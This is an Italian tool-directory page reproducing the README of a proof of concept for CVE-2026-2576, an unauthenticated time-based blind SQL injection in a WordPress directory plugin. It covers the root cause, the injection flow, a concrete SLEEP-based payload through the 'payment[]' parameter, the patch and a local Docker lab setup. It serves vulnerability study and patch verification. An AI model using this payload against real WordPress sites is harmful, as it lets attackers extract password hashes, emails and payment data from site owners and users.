Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — PoC SQLi per il Plugin Business Directory (Configurazione Locale). Iniezione SQL Blind Basata sul Tempo Non Autenticata nel Plugin Business Directory per WordPress ≤ 6.4.21

Vedi Repository
2626 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-2576 — PoC SQLi per il Plugin Business Directory

SQL Injection cieca basata sul tempo, non autenticata
Plugin Business Directory per WordPress ≤ 6.4.21


Indice

  • Panoramica della vulnerabilità
  • Analisi tecnica
  • Requisiti del laboratorio
  • Configurazione del laboratorio
  • Esecuzione del PoC
  • Output atteso
  • Analisi della patch
  • Riferimenti
  • Disclaimer

Panoramica della vulnerabilità

CampoDettaglio
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories for WordPress
Vendorstrategy11team
Versioni affetteTutte le versioni ≤ 6.4.21
Corretta in6.4.22
TipoSQL Injection cieca basata sul tempo (CWE-89)
AutenticazioneNessuna — completamente non autenticata
CVSS7.5 (NVD) / 9.3 (Wordfence)
VettoreCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AssegnatarioWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Divulgata18 febbraio 2026

Il Business Directory Plugin è un plugin WordPress ampiamente utilizzato per creare directory di annunci con supporto ai pagamenti. Una falla nel suo query builder ORM consente a un attaccante non autenticato di eseguire SQL injection cieca basata sul tempo tramite il parametro di query payment, permettendo di dedurre il contenuto del database.


Analisi tecnica

Causa principale

La vulnerabilità risiede nel query builder ORM:

File: includes/db/class-db-query-set.php — filter_args()

private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VULNERABILE — nessuna sanitizzazione, concatenazione diretta di stringhe
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Sicuro — usa $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Quando $v è uno scalare, il codice usa correttamente $wpdb->prepare(). Quando $v è un array, si cade nel ramo non sicuro e i valori vengono concatenati direttamente nella stringa SQL senza alcun escaping.

Attivazione

Il controller del checkout (includes/controllers/pages/class-checkout.php) legge il parametro di richiesta payment e lo passa all'ORM:

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id passato come valore
    );
}

PHP converte automaticamente payment[]=value nella query string in un array $_GET['payment'] = ['value']. Questo forza $v a essere un array in filter_args(), colpendo il ramo non sicuro.

Flusso dell'iniezione

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← array grazie alla notazione []
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → ramo non sicuro
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Payload di iniezione

payment[]=<key>') AND IF((<condizione>),SLEEP(N),0)-- -

SQL generato:

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condizione>),SLEEP(N),0)-- -')

Il -- - commenta il ') finale. L'IF() crea un oracolo booleano: quando la condizione è VERA, SLEEP(N) scatta e la risposta viene ritardata; quando è FALSA la risposta è immediata.

Nota: L'ORM esegue la query due volte per richiesta (una in get(), una in maybe_execute_query()), quindi un payload SLEEP(1) produce circa 2 secondi di ritardo osservabile, e SLEEP(2) produce circa 4 secondi.

Impatto

Un attaccante non autenticato può dedurre ed estrarre il contenuto del database carattere per carattere tramite risposte basate sul tempo, inclusi:

  • Tabella utenti WordPress (wp_users), nomi utente, indirizzi email, hash delle password
  • Registri di pagamento del plugin, dati delle transazioni, dettagli dei proprietari degli annunci
  • Qualsiasi altra tabella accessibile dall'utente del database

Patch

La correzione nella versione 6.4.22 aggiunge la sanitizzazione al ramo array di filter_args():

// PRIMA (vulnerabile)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// DOPO (corretto)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Requisiti del laboratorio

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux o qualsiasi host Linux
  • Accesso a Internet (per scaricare le immagini Docker e il plugin)

Installa le dipendenze Python:

pip3 install requests colorama --break-system-packages

Configurazione del laboratorio

Passo 1: Clona o crea la directory del laboratorio

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Passo 2: Avvia l'intero stack

cd cve-2026-2576-lab
docker compose up -d --build

Passo 3: Esegui l'installer e attendi il completamento

docker compose up setup

Attendi finché non vedi:

╔══════════════════════════════════════════════════════════╗
║           Configurazione del Laboratorio Completata!     ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABILE)                            ║
║  ID Pagina BD: 4                                         ║
╚══════════════════════════════════════════════════════════╝

Passo 4: Conferma la versione vulnerabile del plugin

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Atteso: * Version: 6.4.21

Passo 5: Ottieni la payment_key reale dal database

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Passo 6: Avvia phpMyAdmin (opzionale, per ispezione del DB)

Scarica lo strumento